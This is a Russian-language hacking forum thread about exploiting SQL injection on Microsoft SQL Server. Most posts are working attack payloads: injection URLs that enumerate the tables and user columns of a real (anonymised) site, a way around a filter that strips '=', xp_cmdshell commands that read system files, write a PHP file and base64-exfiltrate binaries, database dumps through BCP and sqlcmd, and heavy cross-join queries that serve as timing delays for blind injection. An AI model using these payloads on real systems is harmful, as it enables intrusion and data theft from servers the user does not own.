Старый 25.11.2010, 22:26   #11
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Вот пример эксплуатации той MSSQLi, что ты скинул в личку (название сайта и прочие ключевые моменты конечно заменены):

Цитата:
ТАБЛИЦЫ:

Код:
http://site/index.cfm?ID=2453+or+1=(SeLect+max(table_name)+from+(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+1+table_name+from+information_schema.tables+order+by+table_name)+order+by+table_name)a)


http://site/index.cfm?ID=2453+or+1=(SeLect+max(table_name)+from+(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+2+table_name+from+information_schema.tables+order+by+table_name)+order+by+table_name)a)


...
КОЛОНКИ из таблы USERS (8 колонок, как и в limit считывание начинаем с 0-
Цитата:
...select+top+0+column_name+from+...
):

Код:
http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+3+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+0+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)

http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+2+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+4+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+5+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+6+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+7+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)


http://site/index.cfm?ID=2453+or+1=(select+max(column_name)+from+(select+top+1+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+and+column_name+not+in+(select+top+8+column_name+from+information_schema.columns+where+table_name=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)+order+by+column_name)+order+by+column_name)a)
Не забудь удалить пробелы

Последний раз редактировалось Pashkela; 25.11.2010 в 22:29..
Pashkela вне форума   Ответить с цитированием
Старый 25.11.2010, 22:33   #12
Seravin
 
Регистрация: 06.07.2010
Сообщений: 13
Репутация: 2
По умолчанию

собственно фактически тоже самое что и у меня, только у меня более извращенски прописан table_name после where. Лан всем спс, понял некоторые свои ошибки, что не понял пойму,тему можно почистить=)
Seravin вне форума   Ответить с цитированием
Старый 27.12.2011, 07:35   #13
xanxy
 
Регистрация: 06.11.2011
Сообщений: 5
Репутация: 1
По умолчанию

Цитата:
SELECT sqltext.TEXT FROM sys.dm_exec_requests CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS sqltext
Возвращает текущий запрос
xanxy вне форума   Ответить с цитированием
Старый 15.01.2012, 16:06   #14
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

сегодня ковырял один сайт и наткнулся на интересную фильтрацию в mssql

Код:
http://www.xxx.com/index.asp?id=11'+or+1=@@version--
выдает -

Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near '@@version'.

при таком:

Код:
http://www.xxx.com/index.asp?id=11+or+1=@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value '11 or 1@@version--' to data type int.

видим, что вырезается знак =

обходится это просто добавлением знака >

Код:
http://www.xxx.com/index.asp?id=11+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int.

видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку

Код:
http://www.xxx.com/index.asp?id=11'+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.

и то что доктор прописал

Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется

подумав немного а составил следующий запрос для дампера:

Код:
http://www.xxx.com/index.asp?id=11'+or+1%3E%28select+top+1+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+from+information_schema.columns+where+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+not+in+%28select+top+5+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+from+information_schema.columns%29%29--
который объединил вывод таблиц и полей:

livesupportfirm:ID
livesupportfirm:idfirma
livesupportfirm:name
livesupportfirm:username
livesupportfirmassword
livesupportfirm:status
livesupportfirm:email
livesupport:ID

З.Ы. америку тут я не открыл, но может кому инфа пригодится

durito
durito вне форума   Ответить с цитированием
Старый 26.01.2012, 12:10   #15
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию MSSQL - чтение и запись файлов

1. Чтение текстовых файлов

Код:
--вариант 1
CREATE TABLE tmpTable4fileRead (line varchar(1024)); BULK INSERT tmpTable4fileRead FROM 'c:\boot.ini'; SELECT * FROM tmpTable4fileRead; DROP TABLE tmpTable4fileRead

--вариант 2
EXEC sp_readerrorlog 1, 'c:\boot.ini'

--вариант 3
EXEC master..xp_cmdshell 'type c:\boot.ini'


.
2. Запись текстовых файлов

Код:
EXEC master..xp_cmdshell 'echo ^<?php phpinfo(); > %temp%\x.php'
EXEC master..xp_cmdshell 'echo text > %temp%\file'
3. Чтение бинарных файлов


Код:
EXEC master..xp_cmdshell 'echo Set WriteStuff=CreateObject("Scripting.FileSystemObject").OpenTextFile((WScript.Arguments)(1),2,True)>%temp%\file2base64.vbs'
EXEC master..xp_cmdshell 'echo WriteStuff.WriteLine(encodeBase64(readBytes((WScript.Arguments)(0))))>>%temp%\file2base64.vbs'
EXEC master..xp_cmdshell 'echo private function readBytes(file) set inStream=WScript.CreateObject("ADODB.Stream")>>%temp%\file2base64.vbs'
EXEC master..xp_cmdshell 'echo inStream.Open:inStream.type=1:inStream.LoadFromFile(file):readBytes=inStream.Read() end function>>%temp%\file2base64.vbs'
EXEC master..xp_cmdshell 'echo private function encodeBase64(bytes) Set EL=(CreateObject("Microsoft.XMLDOM")).createElement("tmp")>>%temp%\file2base64.vbs'
EXEC master..xp_cmdshell 'echo EL.DataType="bin.base64":EL.NodeTypedValue=bytes:encodeBase64=EL.Text end function>>%temp%\file2base64.vbs'

EXEC master..xp_cmdshell 'cscript %temp%\file2base64.vbs c:\NTDETECT.COM %temp%\NTDETECT.COM.b64'

EXEC master..xp_cmdshell 'type %temp%\NTDETECT.COM.b64'

--EXEC master..xp_cmdshell 'del %temp%\file2base64.vbs %temp%\NTDETECT.COM.b64'


.
декодирование:
PHP код:
$file='/home/me/files/NTDETECT.COM.b64';
$x=base64_decode(file_get_contents($file));
file_put_contents($file.'.decoded',$x); 

Последний раз редактировалось DrakonHaSh; 26.01.2012 в 12:14..
DrakonHaSh вне форума   Ответить с цитированием
Старый 27.01.2012, 14:33   #16
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

4. выгрузка/загрузка таблицы в текстовый файл

Код:
-- выгрузка таблицы forTests..someTable в текстовый файл
EXEC master..xp_cmdshell 'BCP "SELECT * FROM forTests..someTable" QUERYOUT "%temp%\someTable.txt" -c -CRAW' 

-- загрузка таблицы forTests..someTable из файла
EXEC master..xp_cmdshell 'BCP "forTests..someTable" in "%temp%\someTable.txt" -c -CRAW'

.

Еще один способ(непроверенный) чтения текстовых файлов
Наткнулся на этот метод, но на сервере, на котором тестирую, воспроизвести не удалось - возможно этот метод зависит от версии MSSQL.
Код:
SELECT * FROM OPENROWSET (BULK "c:\boot.ini") AS a;
DrakonHaSh вне форума   Ответить с цитированием
Старый 30.01.2012, 08:10   #17
Kaeso
 
Регистрация: 07.10.2011
Сообщений: 3
Репутация: 4
По умолчанию

MSSQL

Иногда удобно в слепых инъекциях определить права текущего пользователя базы:

Код:
and 1=(1/is_srvrolemember('sysadmin'))--
Если функия вернет 0 то будет ошибка Divide by zero (деление на ноль)

------------

Сохраняем рузультат команды в файл:

Код:
exec master..xp_cmdshell 'sqlcmd -S (local) -E -Q "select user" -o c:\windows\Temp\logx.txt -e'
В некоторых запросах чтоб не было проблем с множеством вложенных кавычек делаем так:

Код:
exec master..xp_cmdshell 'sqlcmd -S (local) -E -Q "declare @cmd varchar(8000) select @cmd=0x6e6574207374617274;exec master..xp_cmdshell @cmd;" -o c:\logx.txt -e'--
Где @cmd = net start в hex виде.

Дампим информацию в CSV:

Код:
exec master..xp_cmdshell 'sqlcmd -U username -P password -d database -Q "select column_name, data_type from information_schema.columns" -o c:\windows\temp\dump.csv -W -w 65000 -s ";"'
Иногда можно использовать '-S (local)' в место '-U username -P password', зависит от конфигурации сервера.
__________________
SH#
Enema Project
Kaeso вне форума   Ответить с цитированием
Старый 28.07.2012, 11:37   #18
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

Есть у кого-нибудь идеи, как можно сделать задержку для эксплуатации блайнда, если WAITFOR DELAY забанен парсером, так же как и DECLARE. WHILE и IF работают, можно запустить вечный цикл, WHILE 1=1 BEGIN SELECT 1 END, но это с долей вероятности убьет сервер.

Или даже может как-нибудь заюзать этот блайнд без задержки. Знаю один способ, но там он не работает по той же причине в виде парсера. Способ заключается в использовании метода RAISERROR, который позволяет из кода вызывать сообщения об ошибках. Правда он работает не везде еще и потому, что для того, чтобы вызывать сообщения такого уровня серьезности (там есть такой параметр), которые бы влияли на выдачу страницы, надо, чтобы sql юзер был с правами админа.

используется так:
Код:
LEGIT SQL QUERY; IF ((SELECT SUBSTR(USER,0,1))='d') RAISERROR('msg', 20 ,1) END-- BLABLA
подробнее тут http://msdn.microsoft.com/ru-ru/library/ms178592.aspx

Последний раз редактировалось tom sawyer; 28.07.2012 в 15:53..
tom sawyer вне форума   Ответить с цитированием
Старый 29.07.2012, 12:42   #19
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

ont Предложил формировать какие-нибудь тяжелые запросы, я поискал в инете и нашел такую статью http://technet.microsoft.com/en-us/l.../cc512676.aspx, для моего случая запрос стал таким:
Код:
aaa';select 1 where ([условие]) and (SELECT+count(*)+FROM+sysusers+AS+sys1,+sysusers+as+sys2,+syscolumns+AS+sys3,syscolumns+as+sys4)>1;select 'a
Такой запрос на моем сервере дает задержку ~4сек в случае верного условия, чего достаточно для использования блайнда и что не слишком нагружает сервер.

Последний раз редактировалось tom sawyer; 29.07.2012 в 14:44..
tom sawyer вне форума   Ответить с цитированием
Старый 01.08.2012, 01:41   #20
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

очень хороши regexp разнообразные в качестве тормозящих запросов
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot